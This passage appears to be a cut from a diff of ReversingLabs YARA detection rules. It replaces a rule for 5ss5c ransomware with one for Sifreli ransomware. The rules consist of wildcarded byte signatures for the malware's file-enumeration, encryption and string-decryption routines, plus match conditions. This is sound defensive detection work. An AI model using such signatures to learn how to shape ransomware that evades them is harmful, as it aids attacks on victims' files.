+            ?? 0F 82 C6 FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2
         }
-		$encrypt_files = {
-            02 28 ?? ?? ?? ?? 0A 17 0B 16 0C 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 06 08 9A 28
-            ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 08 9A 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 11 ?? FE 06 ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 09 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 39
-            ?? ?? ?? ?? 06 08 9A 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F
-            ?? ?? ?? ?? 20 ?? ?? ?? ?? 6A 2F ?? 28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ??
-            18 5B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 06 08 9A 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            06 08 9A 06 08 9A 72 ?? ?? ?? ?? 1A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ??
-            28 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 1A 5B 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            13 ?? 06 08 9A 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 08 9A 06 08 9A 72 ?? ?? ?? ?? 1A
-            28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 2C ?? 16 0B 02 72 ?? ?? ?? ?? 7E ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 08 17 58 0C 08 06 8E
-            69 3F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 28 ?? ?? ?? ??
-            11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 2A
+		$file_loop_2 = {
+            55 8B EC 83 EC ?? 53 56 8B D9 57 89 5D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 32 C9 83 7D ?? ?? 88 4D ?? 0F 86 50 01
+            00 00 8B 5D ?? 0F 57 C0 66 0F 13 45 ?? 84 C9 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 49 ??
+            8B 75 ?? 8B 01 6A ?? 8B 00 6A ?? 52 56 6A ?? 89 55 ?? FF D0 84 C0 0F 84 F1 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 89 45 ??
+            33 D2 8B D8 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73
+            10 8B 45 ?? 8D 0C 13 8B 40 ?? 42 88 4C 02 ?? EB CB 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 75 85 DB 77 11 72 08 81 FF ?? ??
+            ?? ?? 73 07 8B F7 89 5D ?? EB 0C BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF
+            30 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 75 ?? 75 ?? 8B 45 ?? 8B 55 ?? 8B 48 ?? 8B 45 ?? 2B FE 8B 31 83 DB ?? 2B D7 1B C3 50
+            8B 06 52 FF 75 ?? FF 75 ?? 6A ?? FF D0 84 C0 74 34 85 DB 77 A6 72 04 85 FF 75 8B 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 4D
+            ?? FE C1 0F B6 C1 88 4D ?? 3B 45 ?? 0F 82 BB FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2
         }
-		$setup_env = {
-            28 ?? ?? ?? ?? 2C ?? 17 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
-            ?? 2C ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
-            ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2B ?? 7E ?? ?? ?? ?? 2C ??
-            7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ??
-            28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2D ?? 14 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ??
-            80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 7E ??
-            ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A
+		$file_loop_3 = {
+            55 8B EC 83 EC ?? 53 56 8B C1 57 89 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 62 01 00 00 8B 5D ?? 32 C0 0F 57 C0 88 45 ?? 66 0F
+            13 45 ?? EB 03 8D 49 ?? 84 C0 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ?? ?? ?? ?? 85 C0
+            0F 84 27 01 00 00 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 13 01 00 00 8B 4D ?? 8B 55 ?? 8B 49 ?? 8B 75 ?? 8B 01
+            6A ?? 8B 00 6A ?? 52 56 6A ?? 89 55 ?? FF D0 84 C0 0F 84 EE 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 89 45 ?? 33 D2 8B D8 90
+            85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73 10 8B 45 ??
+            8D 0C 13 8B 40 ?? 42 88 4C 02 ?? EB CB 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 75 85 DB 77 11 72 08 81 FF ?? ?? ?? ?? 73 07
+            8B F7 89 5D ?? EB 0C BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF 30 FF 15 ??
+            ?? ?? ?? 85 C0 74 5E 39 75 ?? 75 59 8B 45 ?? 8B 55 ?? 8B 48 ?? 8B 45 ?? 2B FE 8B 31 83 DB ?? 2B D7 1B C3 50 8B 06 52 FF
+            75 ?? FF 75 ?? 6A ?? FF D0 84 C0 74 30 85 DB 77 A6 72 04 85 FF 75 8B 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 45 ?? FE C0 88
+            45 ?? 3C ?? 0F 82 BE FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2
+        }
+		$encrypt_data_1 = {
+            55 8B EC 56 8B 75 ?? 57 8B F9 39 75 ?? 73 09 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 07 53 85 C0 74 58 48 83 F8 ?? 77 48 8B 5D ??
+            8B 45 ?? 3B D8 74 0B 56 50 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? 89 75 ?? 50 8B 45 ?? 53 6A ?? 0F B6 C0 50 6A ??
+            FF 77 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5B 0F 44 CA 5F 8B C1 5E 5D C2 ?? ?? 5B 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B
+            47 ?? 33 D2 89 45 ?? 8B 47 ?? 85 F6 74 26 8B 7D ?? 8B DE 8B 4D ?? 8B F0 2B F9 8A 04 0F 8D 49 ?? 32 04 32 88 41 ?? 8D 42
+            ?? 33 D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5B 5F 8B C6 5E 5D C2
+        }
+		$encrypt_data_2 = {
+            55 8B EC 56 8B 75 ?? 57 8B F9 39 75 ?? 73 09 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 07 53 85 C0 74 56 48 83 F8 ?? 77 46 8B 5D ??
+            8B 45 ?? 3B D8 74 0B 56 50 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? 50 0F B6 45 ?? 53 6A ?? 50 6A ?? FF 77 ?? 89 75
+            ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5B 0F 44 CA 5F 8B C1 5E 5D C2 ?? ?? 5B 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 47 ??
+            33 D2 89 45 ?? 8B 47 ?? 85 F6 74 26 8B 4D ?? 8B 7D ?? 8B DE 2B F9 8B F0 8A 04 0F 32 04 32 8D 49 ?? 88 41 ?? 8D 42 ?? 33
+            D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5B 5F 8B C6 5E 5D C2
+        }
+		$encrypt_data_3 = {
+            55 8B EC 53 56 8B 75 ?? 8B D9 39 75 ?? 72 4C 83 3B ?? 77 47 8B 45 ?? 57 8B 7D ?? 3B F8 74 0B 56 50 57 E8 ?? ?? ?? ?? 83
+            C4 ?? FF 75 ?? 8D 45 ?? 50 0F B6 45 ?? 57 6A ?? 50 6A ?? FF 73 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5F
+            0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 5E 83 C8 ?? 5B 5D C2
+        }
+		$decrypt_data_1 = {
+            55 8B EC 53 56 57 8B F9 8B 07 85 C0 74 53 48 83 F8 ?? 77 55 8B 75 ?? 39 75 ?? 72 4D 8B 5D ?? 8B 45 ?? 3B D8 74 0B 56 50
+            53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 89 75 ?? 50 8B 45 ?? 53 6A ?? 0F B6 C0 50 6A ?? FF 77 ?? FF 15 ?? ?? ?? ?? 8B 4D ??
+            83 CA ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 8B 75 ?? 39 75 ?? 73 0A 5F 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 47 ?? 33 D2
+            89 45 ?? 8B 47 ?? 85 F6 74 28 8B 7D ?? 8B DE 8B 4D ?? 8B F0 2B F9 8B FF 8A 04 0F 8D 49 ?? 32 04 32 88 41 ?? 8D 42 ?? 33
+            D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5F 8B C6 5E 5B 5D C2
+        }
+		$decrypt_data_2 = {
+            55 8B EC 53 56 57 8B F9 8B 07 85 C0 74 51 48 83 F8 ?? 77 53 8B 75 ?? 39 75 ?? 72 4B 8B 5D ?? 8B 45 ?? 3B D8 74 0B 56 50
+            53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 0F B6 45 ?? 53 6A ?? 50 6A ?? FF 77 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA
+            ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 8B 75 ?? 39 75 ?? 73 0A 5F 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 47 ?? 33 D2 89 45
+            ?? 8B 47 ?? 85 F6 74 2A 8B 4D ?? 8B 7D ?? 8B DE 2B F9 8B F0 8D 64 24 ?? 8A 04 0F 32 04 32 8D 49 ?? 88 41 ?? 8D 42 ?? 33
+            D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5F 8B C6 5E 5B 5D C2
+        }
+		$decrypt_data_3 = {
+            55 8B EC 53 8B D9 83 3B ?? 77 56 56 8B 75 ?? 39 75 ?? 73 09 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 45 ?? 57 8B 7D ?? 3B F8 74 0B
+            56 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 0F B6 45 ?? 57 6A ?? 50 6A ?? FF 73 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ??
+            83 CA ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 83 C8 ?? 5B 5D C2
+        }
+		$decrypt_strings_1 = {
+            55 8B EC 53 56 8B D9 8B F2 57 33 C9 33 FF 2B DE 8B 45 ?? 8D 14 31 8A 04 07 02 C1 32 04 13 88 02 8D 47 ?? 33 D2 F7 75 ??
+            8B FA F6 C1 ?? 75 0B 8B C1 D1 E8 66 83 3C 46 ?? 74 03 41 EB D3 D1 E9 5F 5E 5B 8D 41 ?? 5D C3
+        }
+		$decrypt_strings_2 = {
+            55 8B EC 53 56 8B D9 57 8B F2 33 C9 33 FF 2B DE 8B 45 ?? 8D 14 31 8A 04 07 02 C1 32 04 13 88 02 8D 47 ?? 33 D2 F7 75 ??
+            8B FA F6 C1 ?? 75 0B 8B C1 D1 E8 66 83 3C 46 ?? 74 03 41 EB D3 5F D1 E9 5E 8D 41 ?? 5B 5D C3
+        }
+		$decrypt_1 = {
+            A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C B7 00 00 00 33 D2 8B 0C 95 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0C
+            95 ?? ?? ?? ?? 8B C1 D1 E9 83 E0 ?? 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 89 0C 95 ?? ?? ?? ?? 42 81 FA ?? ?? ?? ??
+            7C C0 81 FA ?? ?? ?? ?? 7D 39 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 81 E1 ?? ?? ?? ?? 33 0E 8B C1 D1 E9 83 E0 ?? 8B 04
+            85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 06 83 C6 ?? 81 FE ?? ?? ?? ?? 7C D0 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81
+            E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 D1 E9 83 E0 ?? 33 0C 85 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B
+            0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0
+            ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3
+        }
+		$decrypt_2 = {
+            A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C C7 00 00 00 33 D2 EB 0C 8D A4 24 ?? ?? ?? ?? EB 03 8D 49 ?? 8B 0C 95 ?? ?? ?? ?? 33
+            0C 95 ?? ?? ?? ?? 42 81 E1 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ??
+            ?? 89 0C 95 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 7C C0 81 FA ?? ?? ?? ?? 7D 3B 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 83 C6 ??
+            81 E1 ?? ?? ?? ?? 33 4E ?? 8B C1 83 E0 ?? D1 E9 8B 04 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 46 ?? 81 FE ?? ?? ?? ??
+            7C CE 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ??
+            ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ??
+            ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3
+        }
+		$decrypt_3 = {
+            A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C C7 00 00 00 33 D2 EB 0C 8D A4 24 ?? ?? ?? ?? EB 03 8D 49 ?? 8B 0C 95 ?? ?? ?? ?? 33
+            0C 95 ?? ?? ?? ?? 42 81 E1 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ??
+            ?? 89 0C 95 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 7C C0 81 FA ?? ?? ?? ?? 7D 3B 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 83 C6 ??
+            81 E1 ?? ?? ?? ?? 33 4E ?? 8B C1 83 E0 ?? D1 E9 8B 04 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 46 ?? 81 FE ?? ?? ?? ??
+            7C CE 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ??
+            ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ??
+            ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3
+        }
+		$entrypoint_all = {
+            83 EC ?? E8 ?? ?? ?? ?? 50 FF 15
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($setup_env) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and ((($file_loop_1 and $encrypt_data_1 and $decrypt_data_1 and $decrypt_strings_1 and $decrypt_1) or ($file_loop_2 and $encrypt_data_2 and $decrypt_data_2 and $decrypt_strings_2 and $decrypt_2) or ($file_loop_3 and $encrypt_data_3 and $decrypt_data_3 and $decrypt_3)) and ($entrypoint_all at pe.entry_point))
 }
-rule REVERSINGLABS_Win32_Ransomware_5Ss5C : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Sifreli : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects 5ss5c ransomware."
+		description = "Yara rule that detects Sifreli ransomware."
 		author = "ReversingLabs"
-		id = "c69f44de-8e48-518d-87bf-d21d11223a2f"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "974f81e2-6907-54da-97e3-3116c41b5ed4"
+		date = "2020-10-08"
+		modified = "2020-10-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.5ss5c.yara#L1-L267"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "74fcec568906a01dade7091c63cffbe4afa49c4705d9c1f21d10b4eee655a805"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Sifreli.yara#L1-L119"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "48f6cc678bea81afece0ae203fb27b61e2c6e4f7188a3bd260190f568c9a8a06"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -26113,249 +27576,108 @@ rule REVERSINGLABS_Win32_Ransomware_5Ss5C : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "5ss5c"
+		tc_detection_name = "Sifreli"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B FA 89 BD ?? ?? ?? ?? 8B F1
-            8B 5D ?? 33 C0 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 89 45 ?? 6A ?? 89 45 ??
-            89 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40
-            ?? ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ??
-            57 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D
-            ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ?? C7 00 ?? ?? ?? ?? C7 40 ??
-            ?? ?? ?? ?? 8B 45 ?? 89 08 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6
-            45 ?? ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? C7
-            00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 57 C0 8B 43 ?? 66 0F D6
-        }
-		$find_files_p2 = {
-            45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C6 45
-            ?? ?? 8B 3B 85 FF 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ??
-            ?? 8B 47 ?? 8D 8D ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 47 ?? 89 7D ?? E8 ?? ?? ?? ?? 6A
-            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 3B
-            C8 74 ?? 83 78 ?? ?? 8D 48 ?? 72 ?? 8B 09 FF 70 ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 51
-            50 FF 15 ?? ?? ?? ?? 8B C8 89 8D ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8B D8 66 66
-            0F 1F 84 00 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ??
-            8B 8D ?? ?? ?? ?? 0F 43 45 ?? C7 45 ?? ?? ?? ?? ?? C6 00 ?? 8D 41 ?? 83 79 ?? ?? 72
-            ?? 8B 00 FF 71 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? 8B D0 8D 79 ?? 8A 01 41 84 C0 75 ?? 2B CF 8D 85 ?? ?? ?? ?? 51
-            50 8B CA E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 F6 85 ??
-            ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 33 FF FF B7 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85
-            C0 0F 85 ?? ?? ?? ?? 83 C7 ?? 81 FF ?? ?? ?? ?? 72 ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ??
-            ?? ?? ?? 8B 9D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 83 CB ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 50 89 9D ?? ?? ?? ?? 89 5D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
-        }
-		$find_files_p3 = {
-            45 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 85 C0 75
-            ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0
-            8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? 83 7D ?? ?? 8D
-            8D ?? ?? ?? ?? FF 75 ?? 0F 43 55 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B
-            40 ?? 03 C8 33 C0 39 41 ?? 0F 94 C0 8D 04 85 ?? ?? ?? ?? 0B 41 ?? 50 E8 ?? ?? ?? ??
-            8B 5D ?? 8D 55 ?? 53 FF B5 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 8B 85 ??
-            ?? ?? ?? 8B 40 ?? 85 FF 0F 85 ?? ?? ?? ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ??
-            8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51
-            ?? 0F 1F 80 ?? ?? ?? ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 51 50 8D 4D
-        }
-		$find_files_p4 = {
-            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ??
-            ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 83 7D ?? ?? 8B FC 0F 43 45 ?? C7
-            07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ?? 85 DB 74 ?? 6A ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D 8D ?? ?? ?? ?? 89
-            47 ?? 89 7B ?? 89 1F E8 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 EC ?? 83 7D ?? ?? 8B FC 0F
-            43 4D ?? 03 C1 C7 07 ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 89 47 ?? C6 45 ?? ?? 8B 5D ??
-            85 DB 74 ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 8B 43 ?? 8D
